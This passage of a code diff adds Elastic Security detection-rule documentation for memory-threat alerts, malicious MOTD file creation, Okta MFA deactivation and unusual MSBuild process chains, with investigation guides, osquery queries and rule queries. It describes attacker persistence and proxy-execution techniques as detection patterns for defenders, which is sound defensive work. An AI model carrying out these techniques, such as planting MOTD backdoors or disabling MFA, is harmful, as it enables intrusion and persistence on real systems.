Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + + +*Elastic Defend Alerts* + +This rule is designed to capture specific alerts generated by Elastic Defend. + +To capture all the Elastic Defend alerts, it is recommended to use all of the Elastic Defend feature-specific protection rules: + +Behavior - Detected - Elastic Defend (UUID: 0f615fe4-eaa2-11ee-ae33-f661ea17fbce) +Behavior - Prevented - Elastic Defend (UUID: eb804972-ea34-11ee-a417-f661ea17fbce) +Malicious File - Detected - Elastic Defend (UUID: f2c3caa6-ea34-11ee-a417-f661ea17fbce) +Malicious File - Prevented - Elastic Defend (UUID: f87e6122-ea34-11ee-a417-f661ea17fbce) +Memory Threat - Detected - Elastic Defend (UUID: 017de1e4-ea35-11ee-a417-f661ea17fbce) +Memory Threat - Prevented - Elastic Defend (UUID: 06f3a26c-ea35-11ee-a417-f661ea17fbce) +Ransomware - Detected - Elastic Defend (UUID: 0c74cd7e-ea35-11ee-a417-f661ea17fbce) +Ransomware - Prevented - Elastic Defend (UUID: 10f3d520-ea35-11ee-a417-f661ea17fbce) + +To avoid generating duplicate alerts, you should enable either all feature-specific protection rules or the Endpoint Security (Elastic Defend) rule (UUID: 9a1a2dae-0b5f-4c3d-8305-a268d404c306). + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind : alert and event.code : (memory_signature or shellcode_thread) and event.type : denied and event.outcome : success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Technique: +** Name: Reflective Code Loading +** ID: T1620 +** Reference URL: https://attack.mitre.org/techniques/T1620/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-message-of-the-day-motd-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-message-of-the-day-motd-file-creation.asciidoc new file mode 100644 index 0000000000..64100436aa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-message-of-the-day-motd-file-creation.asciidoc @@ -0,0 +1,209 @@ +[[prebuilt-rule-8-19-34-message-of-the-day-motd-file-creation]] +=== Message-of-the-Day (MOTD) File Creation + +This rule detects the creation of potentially malicious files within the default MOTD file directories. Message of the day (MOTD) is the message that is presented to the user when a user connects to a Linux server via SSH or a serial connection. Linux systems contain several default MOTD files located in the "/etc/update-motd.d/" directory. These scripts run as the root user every time a user connects over SSH or a serial connection. Adversaries may create malicious MOTD files that grant them persistence onto the target every time a user connects to the system by executing a backdoor script or command. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://pberba.github.io/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/#10-boot-or-logon-initialization-scripts-motd +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 18 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Message-of-the-Day (MOTD) File Creation* + + +The message-of-the-day (MOTD) is used to display a customizable system-wide message or information to users upon login in Linux. + +Attackers can abuse message-of-the-day (motd) files to run scripts, commands or malicious software every time a user connects to a system over SSH or a serial connection, by creating a new file within the `/etc/update-motd.d/` directory. Executable files in these directories automatically run with root privileges. + +This rule identifies the creation of new files within the `/etc/update-motd.d/` directory. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible Investigation Steps* + + +- Investigate the file that was created or modified. + - !{osquery{"label":"Osquery - Retrieve File Information","query":"SELECT * FROM file WHERE path = {{file.path}}"}} +- Investigate whether any other files in the `/etc/update-motd.d/` directory have been altered. + - !{osquery{"label":"Osquery - Retrieve File Listing Information","query":"SELECT * FROM file WHERE path LIKE '/etc/update-motd.d/%'"}} + - !{osquery{"label":"Osquery - Retrieve Additional File Listing Information","query":"SELECT f.path, u.username AS file_owner, g.groupname AS group_owner, datetime(f.atime, 'unixepoch') AS\nfile_last_access_time, datetime(f.mtime, 'unixepoch') AS file_last_modified_time, datetime(f.ctime, 'unixepoch') AS\nfile_last_status_change_time, datetime(f.btime, 'unixepoch') AS file_created_time, f.size AS size_bytes FROM file f LEFT\nJOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid WHERE path LIKE '/etc/update-motd.d/%'\n"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate whether the modified scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} + + +*Related Rules* + + +- Process Spawned from Message-of-the-Day (MOTD) - 4ec47004-b34a-42e6-8003-376a123ea447 + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Any activity that triggered the alert and is not inherently malicious must be monitored by the security team. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Delete the MOTD files or restore their original configuration. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action == "creation" and file.path like "/etc/update-motd.d/*" and +not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", "/usr/bin/buildah", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", "/.envbuilder/bin/envbuilder", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "./usr/bin/podman", "/opt/saltstack/salt/bin/python3.10", + "/opt/puppetlabs/puppet/bin/ruby", "/usr/bin/crio" + ) or + file.extension in ("swp", "swpx", "swx", "dpkg-remove") or + file.Ext.original.extension == "dpkg-new" or + process.executable : ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/lib/virtualbox/*" + ) or + process.executable == null or + process.name in ("executor", "dockerd", "crio") or + (process.name == "sed" and file.name : "sed*") or + (process.name == "perl" and file.name : "e2scrub_all.tmp*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-mfa-deactivation-with-no-re-activation-for-okta-user-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-mfa-deactivation-with-no-re-activation-for-okta-user-account.asciidoc new file mode 100644 index 0000000000..62a10e9f6c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-mfa-deactivation-with-no-re-activation-for-okta-user-account.asciidoc @@ -0,0 +1,142 @@ +[[prebuilt-rule-8-19-34-mfa-deactivation-with-no-re-activation-for-okta-user-account]] +=== MFA Deactivation with no Re-Activation for Okta User Account + +Detects multi-factor authentication (MFA) deactivation with no subsequent re-activation for an Okta user account. An adversary may deactivate MFA for an Okta user account in order to weaken the authentication requirements for the account. + +*Rule type*: eql + +*Rule indices*: + +* logs-okta.system* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 6h + +*Searches indices from*: now-12h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Tactic: Persistence +* Use Case: Identity and Access Audit +* Data Source: Okta +* Domain: Cloud +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Okta +* Domain: Identity + +*Version*: 420 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating MFA Deactivation with no Re-Activation for Okta User Account* + + +MFA is used to provide an additional layer of security for user accounts. An adversary may achieve MFA deactivation for an Okta user account to achieve persistence. + +This rule fires when an Okta user account has MFA deactivated and no subsequent MFA reactivation is observed within 12 hours. + + +*Possible investigation steps:* + + +- Identify the entity related to the alert by reviewing `okta.target.alternate_id`, `okta.target.id` or `user.target.full_name` fields. This should give the username of the account being targeted. Verify if MFA is deactivated for the target entity. +- Using the `okta.target.alternate_id` field, search for MFA re-activation events where `okta.event_type` is `user.mfa.factor.activate`. Note if MFA re-activation attempts were made against the target. +- Identify the actor performing the deactivation by reviewing `okta.actor.alternate_id`, `okta.actor.id` or `user.full_name` fields. This should give the username of the account performing the action. Determine if deactivation was performed by a separate user. +- Review events where `okta.event_type` is `user.authenticate*` to determine if the actor or target accounts had suspicious login activity. + - Geolocation details found in `client.geo*` related fields may be useful in determining if the login activity was suspicious for this user. +- Examine related administrative activity by the actor for privilege misuse or suspicious changes. + + +*False positive steps:* + + +- Determine with the target user if MFA deactivation was expected. +- Determine if MFA is required for the target user account. + + +*Response and remediation:* + + +- If the MFA deactivation was not expected, consider deactivating the user + - This should be followed by resetting the user's password and re-enabling MFA. +- If the MFA deactivation was expected, consider adding an exception to this rule to filter false positives. +- Investigate the source of the attack. If a specific machine or network is compromised, additional steps may need to be taken to address the issue. +- Encourage users to use complex, unique passwords and consider implementing multi-factor authentication. +- Check if the compromised account was used to access or alter any sensitive data, applications or systems. +- Review the client user-agent to determine if it's a known custom application that can be whitelisted. + + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by okta.target.id with maxspan=12h + [any where data_stream.dataset == "okta.system" and okta.event_type in ("user.mfa.factor.deactivate", "user.mfa.factor.reset_all") + and okta.outcome.reason != "User reset SECURITY_QUESTION factor" and okta.outcome.result == "SUCCESS"] + ![any where data_stream.dataset == "okta.system" and okta.event_type == "user.mfa.factor.activate"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-build-engine-started-an-unusual-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-build-engine-started-an-unusual-process.asciidoc new file mode 100644 index 0000000000..034ddfe1eb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-build-engine-started-an-unusual-process.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-34-microsoft-build-engine-started-an-unusual-process]] +=== Microsoft Build Engine Started an Unusual Process + +An instance of MSBuild, the Microsoft Build Engine, started a PowerShell script or the Visual C# Command Line Compiler. This technique is sometimes used to deploy a malicious payload using the Build Engine. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Windows + +*Version*: 322 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Microsoft Build Engine Started an Unusual Process* + + +The Microsoft Build Engine (MSBuild) is a platform for building applications, often used in software development environments. Adversaries may exploit MSBuild to execute malicious scripts or compile code, bypassing security controls. The detection rule identifies unusual processes initiated by MSBuild, such as PowerShell or C# compiler, signaling potential misuse for executing unauthorized or harmful actions. + + +*Possible investigation steps* + + +- Review the process tree to understand the parent-child relationship, focusing on MSBuild.exe or msbuild.exe as the parent process and any unusual child processes like csc.exe, iexplore.exe, or powershell.exe. +- Examine the command line arguments used by the unusual process to identify any suspicious or malicious scripts or commands being executed. +- Check the user account associated with the process to determine if it aligns with expected usage patterns or if it might be compromised. +- Investigate the source and integrity of the MSBuild project file (.proj or .sln) to ensure it hasn't been tampered with or used to execute unauthorized code. +- Analyze recent changes or deployments in the environment that might explain the unusual process execution, such as new software installations or updates. +- Correlate this event with other security alerts or logs to identify any patterns or additional indicators of compromise that might suggest a broader attack. + + +*False positive analysis* + + +- Development environments often use MSBuild to execute legitimate PowerShell scripts or compile C# code. Regularly review and whitelist known development processes to prevent unnecessary alerts. +- Automated build systems may trigger this rule when running scripts or compiling code as part of their normal operation. Identify and exclude these systems by their hostnames or IP addresses. +- Some software installations or updates might use MSBuild to execute scripts. Monitor and document these activities, and create exceptions for recognized software vendors. +- Internal tools or scripts that rely on MSBuild for execution should be cataloged. Establish a baseline of expected behavior and exclude these from triggering alerts. +- Collaborate with development teams to understand their use of MSBuild and adjust the detection rule to accommodate their workflows without compromising security. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution of potentially malicious processes and lateral movement. +- Terminate any suspicious processes initiated by MSBuild, such as PowerShell or the C# compiler, to halt any ongoing malicious activity. +- Conduct a thorough review of the affected system for any unauthorized changes or additional malicious files, focusing on scripts or executables that may have been deployed. +- Restore the system from a known good backup if any malicious activity or unauthorized changes are confirmed, ensuring that the backup is clean and uncompromised. +- Escalate the incident to the security operations team for further analysis and to determine if the threat is part of a larger attack campaign. +- Implement additional monitoring and logging for MSBuild and related processes to detect any future misuse or anomalies promptly. +- Review and update endpoint protection configurations to enhance detection and prevention capabilities against similar threats, ensuring that security controls are effectively blocking unauthorized script execution. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:windows and event.category:process and event.type:start and process.parent.name:("MSBuild.exe" or "msbuild.exe") and +process.name:("csc.exe" or "iexplore.exe" or "powershell.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Compile After Delivery +** ID: T1027.004 +** Reference URL: https://attack.mitre.org/techniques/T1027/004/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-build-engine-started-by-a-script-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-build-engine-started-by-a-script-process.asciidoc new file mode 100644 index 0000000000..995211e69d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-build-engine-started-by-a-script-process.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-34-microsoft-build-engine-started-by-a-script-process]] +=== Microsoft Build Engine Started by a Script Process + +An instance of MSBuild, the Microsoft Build Engine, was started by a script or the Windows command interpreter. This behavior is unusual and is sometimes used by malicious payloads. + +*Rule type*: new_terms + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: New Terms +* Platform: Windows + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Microsoft Build Engine Started by a Script Process* + + +The Microsoft Build Engine (MSBuild) is a platform for building applications, typically invoked by developers. However, adversaries exploit its ability to execute inline tasks, using it as a proxy for executing malicious code. The detection rule identifies unusual MSBuild invocations initiated by script interpreters, signaling potential misuse for stealthy execution or defense evasion tactics. + + +*Possible investigation steps* + + +- Review the process tree to understand the parent-child relationship, focusing on the parent process names such as cmd.exe, powershell.exe, pwsh.exe, powershell_ise.exe, cscript.exe, wscript.exe, or mshta.exe, which initiated the msbuild.exe process. +- Examine the command line arguments used to start msbuild.exe to identify any suspicious or unusual inline tasks or scripts that may indicate malicious activity. +- Check the user account associated with the msbuild.exe process to determine if it aligns with expected usage patterns or if it might be compromised. +- Investigate the timing and frequency of the msbuild.exe execution to see if it coincides with known legitimate build activities or if it appears anomalous. +- Look for any related network activity or file modifications around the time of the msbuild.exe execution to identify potential data exfiltration or further malicious actions. +- Cross-reference the alert with other security events or logs to identify any correlated indicators of compromise or additional suspicious behavior. + + +*False positive analysis* + + +- Development environments where scripts are used to automate builds may trigger this rule. To manage this, identify and whitelist specific script processes or directories commonly used by developers. +- Automated testing frameworks that utilize scripts to initiate builds can cause false positives. Exclude these processes by creating exceptions for known testing tools and their associated scripts. +- Continuous integration/continuous deployment (CI/CD) pipelines often use scripts to invoke MSBuild. Consider excluding the parent processes associated with these pipelines from the rule. +- Administrative scripts that perform legitimate system maintenance tasks might start MSBuild. Review and exclude these scripts if they are verified as non-threatening. +- Custom scripts developed in-house for specific business functions may also trigger alerts. Conduct a review of these scripts and exclude them if they are deemed safe and necessary for operations. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate the suspicious MSBuild process and any associated script interpreter processes (e.g., cmd.exe, powershell.exe) to stop the execution of potentially malicious code. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious payloads or artifacts. +- Review and analyze the parent script or command that initiated the MSBuild process to understand the scope and intent of the attack, and identify any additional compromised systems or accounts. +- Reset credentials for any user accounts that were active on the affected system during the time of the alert to prevent unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for MSBuild and script interpreter activities across the network to detect and respond to similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:windows and event.category:process and event.type:start and ( + process.name.caseless:"msbuild.exe" or process.pe.original_file_name:"MSBuild.exe") and + process.parent.name:("cmd.exe" or "powershell.exe" or "pwsh.exe" or "powershell_ise.exe" or "cscript.exe" or + "wscript.exe" or "mshta.exe") and + not process.executable : ( + "C:\\Program Files\\Microsoft Visual Studio\\2022\\Professional\\MSBuild\\Current\\Bin\\MSBuild.exe" or + "C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\MSBuild\\Current\\Bin\\MSBuild.exe" or + "C:\\Program Files (x86)\\Microsoft Visual Studio\\2022\\BuildTools\\MSBuild\\Current\\Bin\\MSBuild.exe" or + "C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\BuildTools\\MSBuild\\Current\\Bin\\amd64\\MSBuild.exe" or + "C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Professional\\MSBuild\\Current\\Bin\\amd64\\MSBuild.exe" or + "C:\\Program Files (x86)\\MSBuild\\14.0\\Bin\\amd64\\MSBuild.exe" or + "C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\BuildTools\\MSBuild\\Current\\Bin\\MSBuild.exe" or + "C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Professional\\MSBuild\\Current\\Bin\\MSBuild.exe" or + "C:\\Program Files\\Microsoft Visual Studio\\2022\\Professional\\MSBuild\\Current\\Bin\\amd64\\MSBuild.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-build-engine-started-by-a-system-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-build-engine-started-by-a-system-process.asciidoc new file mode 100644 index 0000000000..c87dec3d2a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-microsoft-build-engine-started-by-a-system-process.asciidoc @@ -0,0 +1,166 